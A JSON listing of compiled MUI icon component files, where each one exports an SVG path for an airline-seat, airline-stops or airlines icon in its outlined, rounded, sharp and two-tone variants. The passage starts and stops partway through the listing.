    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.35 5.64c-.9-.64-1.12-1.88-.49-2.79.63-.9 1.88-1.12 2.79-.49.9.64 1.12 1.88.49 2.79-.64.9-1.88 1.12-2.79.49M16 19H8.93c-1.48 0-2.74-1.08-2.96-2.54L4 7H2l1.99 9.76C4.37 19.2 6.47 21 8.94 21H16zm.23-4h-4.88l-1.03-4.1c1.58.89 3.28 1.54 5.15 1.22V9.99c-1.63.31-3.44-.27-4.69-1.25L9.14 7.47c-.23-.18-.49-.3-.76-.38-.32-.09-.66-.12-.99-.06h-.02c-1.23.22-2.05 1.39-1.84 2.61l1.35 5.92C7.16 16.98 8.39 18 9.83 18h6.85l3.82 3 1.5-1.5z\"\n}), 'AirlineSeatReclineExtraOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineExtraRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.35 5.64c-.9-.64-1.12-1.88-.49-2.79.63-.9 1.88-1.12 2.79-.49.9.64 1.12 1.88.49 2.79-.64.9-1.88 1.12-2.79.49M16 20c0-.55-.45-1-1-1H8.93c-1.48 0-2.74-1.08-2.96-2.54L4.16 7.78C4.07 7.33 3.67 7 3.2 7c-.62 0-1.08.57-.96 1.18l1.75 8.58C4.37 19.2 6.47 21 8.94 21H15c.55 0 1-.45 1-1m-.46-5h-4.19l-1.03-4.1c1.28.72 2.63 1.28 4.1 1.3.58.01 1.05-.49 1.05-1.07 0-.59-.49-1.04-1.08-1.06-1.31-.04-2.63-.56-3.61-1.33L9.14 7.47c-.23-.18-.49-.3-.76-.38-.32-.09-.66-.12-.99-.06h-.02c-1.23.22-2.05 1.39-1.84 2.61l1.35 5.92C7.16 16.98 8.39 18 9.83 18h6.85l3.09 2.42c.42.33 1.02.29 1.39-.08.45-.45.4-1.18-.1-1.57l-4.29-3.35c-.35-.27-.78-.42-1.23-.42\"\n}), 'AirlineSeatReclineExtraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineExtraRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.35 5.64c-.9-.64-1.12-1.88-.49-2.79.63-.9 1.88-1.12 2.79-.49.9.64 1.12 1.88.49 2.79-.64.9-1.88 1.12-2.79.49M16 20c0-.55-.45-1-1-1H8.93c-1.48 0-2.74-1.08-2.96-2.54L4.16 7.78C4.07 7.33 3.67 7 3.2 7c-.62 0-1.08.57-.96 1.18l1.75 8.58C4.37 19.2 6.47 21 8.94 21H15c.55 0 1-.45 1-1m-.46-5h-4.19l-1.03-4.1c1.28.72 2.63 1.28 4.1 1.3.58.01 1.05-.49 1.05-1.07 0-.59-.49-1.04-1.08-1.06-1.31-.04-2.63-.56-3.61-1.33L9.14 7.47c-.23-.18-.49-.3-.76-.38-.32-.09-.66-.12-.99-.06h-.02c-1.23.22-2.05 1.39-1.84 2.61l1.35 5.92C7.16 16.98 8.39 18 9.83 18h6.85l3.09 2.42c.42.33 1.02.29 1.39-.08.45-.45.4-1.18-.1-1.57l-4.29-3.35c-.35-.27-.78-.42-1.23-.42\"\n}), 'AirlineSeatReclineExtraRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineExtraSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.35 5.64c-.9-.64-1.12-1.88-.49-2.79.63-.9 1.88-1.12 2.79-.49.9.64 1.12 1.88.49 2.79-.64.9-1.88 1.12-2.79.49M16 19H6.5L4 7H2l2.85 14H16zm.23-4h-4.88l-1.03-4.1c1.58.89 3.28 1.54 5.15 1.22V9.99c-1.63.31-3.44-.27-4.69-1.25L9.14 7.47c-.23-.18-.49-.3-.76-.38-.32-.09-.66-.12-.99-.06h-.02c-1.23.22-2.05 1.39-1.84 2.61L7.44 18h9.24l3.82 3 1.5-1.5z\"\n}), 'AirlineSeatReclineExtraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineExtraSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.35 5.64c-.9-.64-1.12-1.88-.49-2.79.63-.9 1.88-1.12 2.79-.49.9.64 1.12 1.88.49 2.79-.64.9-1.88 1.12-2.79.49M16 19H6.5L4 7H2l2.85 14H16zm.23-4h-4.88l-1.03-4.1c1.58.89 3.28 1.54 5.15 1.22V9.99c-1.63.31-3.44-.27-4.69-1.25L9.14 7.47c-.23-.18-.49-.3-.76-.38-.32-.09-.66-.12-.99-.06h-.02c-1.23.22-2.05 1.39-1.84 2.61L7.44 18h9.24l3.82 3 1.5-1.5z\"\n}), 'AirlineSeatReclineExtraSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineExtraTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.35 5.64c-.9-.64-1.12-1.88-.49-2.79.63-.9 1.88-1.12 2.79-.49.9.64 1.12 1.88.49 2.79-.64.9-1.88 1.12-2.79.49M16 19H8.93c-1.48 0-2.74-1.08-2.96-2.54L4 7H2l1.99 9.76C4.37 19.2 6.47 21 8.94 21H16zm.23-4h-4.88l-1.03-4.1c1.58.89 3.28 1.54 5.15 1.22V9.99c-1.63.31-3.44-.27-4.69-1.25L9.14 7.47c-.23-.18-.49-.3-.76-.38-.32-.09-.66-.12-.99-.06h-.02c-1.23.22-2.05 1.39-1.84 2.61l1.35 5.92C7.16 16.98 8.39 18 9.83 18h6.85l3.82 3 1.5-1.5z\"\n}), 'AirlineSeatReclineExtraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineExtraTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.35 5.64c-.9-.64-1.12-1.88-.49-2.79.63-.9 1.88-1.12 2.79-.49.9.64 1.12 1.88.49 2.79-.64.9-1.88 1.12-2.79.49M16 19H8.93c-1.48 0-2.74-1.08-2.96-2.54L4 7H2l1.99 9.76C4.37 19.2 6.47 21 8.94 21H16zm.23-4h-4.88l-1.03-4.1c1.58.89 3.28 1.54 5.15 1.22V9.99c-1.63.31-3.44-.27-4.69-1.25L9.14 7.47c-.23-.18-.49-.3-.76-.38-.32-.09-.66-.12-.99-.06h-.02c-1.23.22-2.05 1.39-1.84 2.61l1.35 5.92C7.16 16.98 8.39 18 9.83 18h6.85l3.82 3 1.5-1.5z\"\n}), 'AirlineSeatReclineExtraTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineNormal.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.59 5.41c-.78-.78-.78-2.05 0-2.83s2.05-.78 2.83 0 .78 2.05 0 2.83c-.79.79-2.05.79-2.83 0M6 16V7H4v9c0 2.76 2.24 5 5 5h6v-2H9c-1.66 0-3-1.34-3-3m14 4.07L14.93 15H11.5v-3.68c1.4 1.15 3.6 2.16 5.5 2.16v-2.16c-1.66.02-3.61-.87-4.67-2.04l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C8.01 7 7 8.01 7 9.25V15c0 1.66 1.34 3 3 3h5.07l3.5 3.5z\"\n}), 'AirlineSeatReclineNormal');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineNormal.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.59 5.41c-.78-.78-.78-2.05 0-2.83s2.05-.78 2.83 0 .78 2.05 0 2.83c-.79.79-2.05.79-2.83 0M6 16V7H4v9c0 2.76 2.24 5 5 5h6v-2H9c-1.66 0-3-1.34-3-3m14 4.07L14.93 15H11.5v-3.68c1.4 1.15 3.6 2.16 5.5 2.16v-2.16c-1.66.02-3.61-.87-4.67-2.04l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C8.01 7 7 8.01 7 9.25V15c0 1.66 1.34 3 3 3h5.07l3.5 3.5z\"\n}), 'AirlineSeatReclineNormal');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineNormalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.59 5.41c-.78-.78-.78-2.05 0-2.83s2.05-.78 2.83 0 .78 2.05 0 2.83c-.79.79-2.05.79-2.83 0M6 16V7H4v9c0 2.76 2.24 5 5 5h6v-2H9c-1.66 0-3-1.34-3-3m14 4.07L14.93 15H11.5v-3.68c1.4 1.15 3.6 2.16 5.5 2.16v-2.16c-1.66.02-3.61-.87-4.67-2.04l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C8.01 7 7 8.01 7 9.25V15c0 1.66 1.34 3 3 3h5.07l3.5 3.5z\"\n}), 'AirlineSeatReclineNormalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineNormalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.59 5.41c-.78-.78-.78-2.05 0-2.83s2.05-.78 2.83 0 .78 2.05 0 2.83c-.79.79-2.05.79-2.83 0M6 16V7H4v9c0 2.76 2.24 5 5 5h6v-2H9c-1.66 0-3-1.34-3-3m14 4.07L14.93 15H11.5v-3.68c1.4 1.15 3.6 2.16 5.5 2.16v-2.16c-1.66.02-3.61-.87-4.67-2.04l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C8.01 7 7 8.01 7 9.25V15c0 1.66 1.34 3 3 3h5.07l3.5 3.5z\"\n}), 'AirlineSeatReclineNormalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineNormalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.59 5.41c-.78-.78-.78-2.05 0-2.83s2.05-.78 2.83 0 .78 2.05 0 2.83c-.79.79-2.05.79-2.83 0M6 16V8c0-.55-.45-1-1-1s-1 .45-1 1v8c0 2.76 2.24 5 5 5h5c.55 0 1-.45 1-1s-.45-1-1-1H9c-1.66 0-3-1.34-3-3m13.28 3.35-3.77-3.77c-.37-.37-.88-.58-1.41-.58h-2.6v-3.68c1.09.89 2.66 1.7 4.2 2.02.67.14 1.3-.36 1.3-1.04 0-.53-.39-.96-.92-1.05-1.42-.24-2.88-1.01-3.75-1.97l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C8.01 7 7 8.01 7 9.25V15c0 1.66 1.34 3 3 3h5.07l2.78 2.78c.39.39 1.04.39 1.43 0 .4-.39.4-1.03 0-1.43\"\n}), 'AirlineSeatReclineNormalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineNormalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.59 5.41c-.78-.78-.78-2.05 0-2.83s2.05-.78 2.83 0 .78 2.05 0 2.83c-.79.79-2.05.79-2.83 0M6 16V8c0-.55-.45-1-1-1s-1 .45-1 1v8c0 2.76 2.24 5 5 5h5c.55 0 1-.45 1-1s-.45-1-1-1H9c-1.66 0-3-1.34-3-3m13.28 3.35-3.77-3.77c-.37-.37-.88-.58-1.41-.58h-2.6v-3.68c1.09.89 2.66 1.7 4.2 2.02.67.14 1.3-.36 1.3-1.04 0-.53-.39-.96-.92-1.05-1.42-.24-2.88-1.01-3.75-1.97l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C8.01 7 7 8.01 7 9.25V15c0 1.66 1.34 3 3 3h5.07l2.78 2.78c.39.39 1.04.39 1.43 0 .4-.39.4-1.03 0-1.43\"\n}), 'AirlineSeatReclineNormalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineNormalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.59 5.41c-.78-.78-.78-2.05 0-2.83s2.05-.78 2.83 0 .78 2.05 0 2.83c-.79.79-2.05.79-2.83 0M6 19V7H4v14h11v-2zm14 1.07L14.93 15H11.5v-3.68c1.4 1.15 3.6 2.16 5.5 2.16v-2.16c-1.66.02-3.61-.87-4.67-2.04l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C8.01 7 7 8.01 7 9.25V18h8.07l3.5 3.5z\"\n}), 'AirlineSeatReclineNormalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineNormalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.59 5.41c-.78-.78-.78-2.05 0-2.83s2.05-.78 2.83 0 .78 2.05 0 2.83c-.79.79-2.05.79-2.83 0M6 19V7H4v14h11v-2zm14 1.07L14.93 15H11.5v-3.68c1.4 1.15 3.6 2.16 5.5 2.16v-2.16c-1.66.02-3.61-.87-4.67-2.04l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C8.01 7 7 8.01 7 9.25V18h8.07l3.5 3.5z\"\n}), 'AirlineSeatReclineNormalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineNormalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.59 5.41c-.78-.78-.78-2.05 0-2.83s2.05-.78 2.83 0 .78 2.05 0 2.83c-.79.79-2.05.79-2.83 0M6 16V7H4v9c0 2.76 2.24 5 5 5h6v-2H9c-1.66 0-3-1.34-3-3m14 4.07L14.93 15H11.5v-3.68c1.4 1.15 3.6 2.16 5.5 2.16v-2.16c-1.66.02-3.61-.87-4.67-2.04l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C8.01 7 7 8.01 7 9.25V15c0 1.66 1.34 3 3 3h5.07l3.5 3.5z\"\n}), 'AirlineSeatReclineNormalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineSeatReclineNormalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.59 5.41c-.78-.78-.78-2.05 0-2.83s2.05-.78 2.83 0 .78 2.05 0 2.83c-.79.79-2.05.79-2.83 0M6 16V7H4v9c0 2.76 2.24 5 5 5h6v-2H9c-1.66 0-3-1.34-3-3m14 4.07L14.93 15H11.5v-3.68c1.4 1.15 3.6 2.16 5.5 2.16v-2.16c-1.66.02-3.61-.87-4.67-2.04l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C8.01 7 7 8.01 7 9.25V15c0 1.66 1.34 3 3 3h5.07l3.5 3.5z\"\n}), 'AirlineSeatReclineNormalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineStops.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.21 9.21C15.93 10.78 13.45 13.3 13 17h2v2H9v-2h2c-.5-4.5-4.37-8-9-8V7c4.39 0 8.22 2.55 10 6.3 1.13-2.43 2.99-4.25 4.78-5.52L14 5h7v7z\"\n}), 'AirlineStops');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineStops.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.21 9.21C15.93 10.78 13.45 13.3 13 17h2v2H9v-2h2c-.5-4.5-4.37-8-9-8V7c4.39 0 8.22 2.55 10 6.3 1.13-2.43 2.99-4.25 4.78-5.52L14 5h7v7z\"\n}), 'AirlineStops');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineStopsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 8.7c-2.46 1.5-5.5 4.17-6 8.3h2v2H9v-2h2c-.5-4.5-4.37-8-9-8V7c4.39 0 8.22 2.55 10 6.3 1.38-2.97 3.86-5.03 5.96-6.31L14 7V5h7v7h-2z\"\n}), 'AirlineStopsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineStopsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 8.7c-2.46 1.5-5.5 4.17-6 8.3h2v2H9v-2h2c-.5-4.5-4.37-8-9-8V7c4.39 0 8.22 2.55 10 6.3 1.38-2.97 3.86-5.03 5.96-6.31L14 7V5h7v7h-2z\"\n}), 'AirlineStopsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineStopsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 18c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1s.45-1 1-1h1c-.47-4.21-3.89-7.55-8.12-7.96-.51-.05-.88-.48-.88-.99 0-.59.52-1.06 1.11-1 3.92.39 7.26 2.82 8.89 6.25 1.13-2.43 2.99-4.25 4.78-5.52l-1.92-1.92c-.32-.32-.1-.86.35-.86h5.29c.28 0 .5.22.5.5v5.29c0 .45-.54.67-.85.35L18.21 9.2c-2.28 1.58-4.76 4.1-5.21 7.8h1c.55 0 1 .45 1 1\"\n}), 'AirlineStopsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineStopsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 18c0 .55-.45 1-1 1h-4c-.55 0-1-.45-1-1s.45-1 1-1h1c-.47-4.21-3.89-7.55-8.12-7.96-.51-.05-.88-.48-.88-.99 0-.59.52-1.06 1.11-1 3.92.39 7.26 2.82 8.89 6.25 1.13-2.43 2.99-4.25 4.78-5.52l-1.92-1.92c-.32-.32-.1-.86.35-.86h5.29c.28 0 .5.22.5.5v5.29c0 .45-.54.67-.85.35L18.21 9.2c-2.28 1.58-4.76 4.1-5.21 7.8h1c.55 0 1 .45 1 1\"\n}), 'AirlineStopsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineStopsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.21 9.21C15.93 10.78 13.45 13.3 13 17h2v2H9v-2h2c-.5-4.5-4.37-8-9-8V7c4.39 0 8.22 2.55 10 6.3 1.13-2.43 2.99-4.25 4.78-5.52L14 5h7v7z\"\n}), 'AirlineStopsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineStopsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.21 9.21C15.93 10.78 13.45 13.3 13 17h2v2H9v-2h2c-.5-4.5-4.37-8-9-8V7c4.39 0 8.22 2.55 10 6.3 1.13-2.43 2.99-4.25 4.78-5.52L14 5h7v7z\"\n}), 'AirlineStopsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineStopsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.21 9.21C15.93 10.78 13.45 13.3 13 17h2v2H9v-2h2c-.5-4.5-4.37-8-9-8V7c4.39 0 8.22 2.55 10 6.3 1.13-2.43 2.99-4.25 4.78-5.52L14 5h7v7z\"\n}), 'AirlineStopsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlineStopsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.21 9.21C15.93 10.78 13.45 13.3 13 17h2v2H9v-2h2c-.5-4.5-4.37-8-9-8V7c4.39 0 8.22 2.55 10 6.3 1.13-2.43 2.99-4.25 4.78-5.52L14 5h7v7z\"\n}), 'AirlineStopsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Airlines.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 4 2 20h17l3-16zm1.5 10c-1.38 0-2.5-1.12-2.5-2.5S13.12 9 14.5 9s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'Airlines');"
  },
  {
    "path": "packages/mui-icons-material/lib/Airlines.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 4 2 20h17l3-16zm1.5 10c-1.38 0-2.5-1.12-2.5-2.5S13.12 9 14.5 9s2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5\"\n}), 'Airlines');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlinesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.34 18H5.8l8.25-12h5.54zM13 4 2 20h17l3-16zm1.5 5c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5S15.88 9 14.5 9\"\n}), 'AirlinesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirlinesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.34 18H5.8l8.25-12h5.54zM13 4 2 20h17l3-16zm1.5 5c-1.38 0-2.5 1.12-2.5 2.5s1.12 2.5 2.5 2.5 2.5-1.12 2.5-2.5S15.88 9 14.5 9\"\n}), 'AirlinesOutlined');"
  },
  {
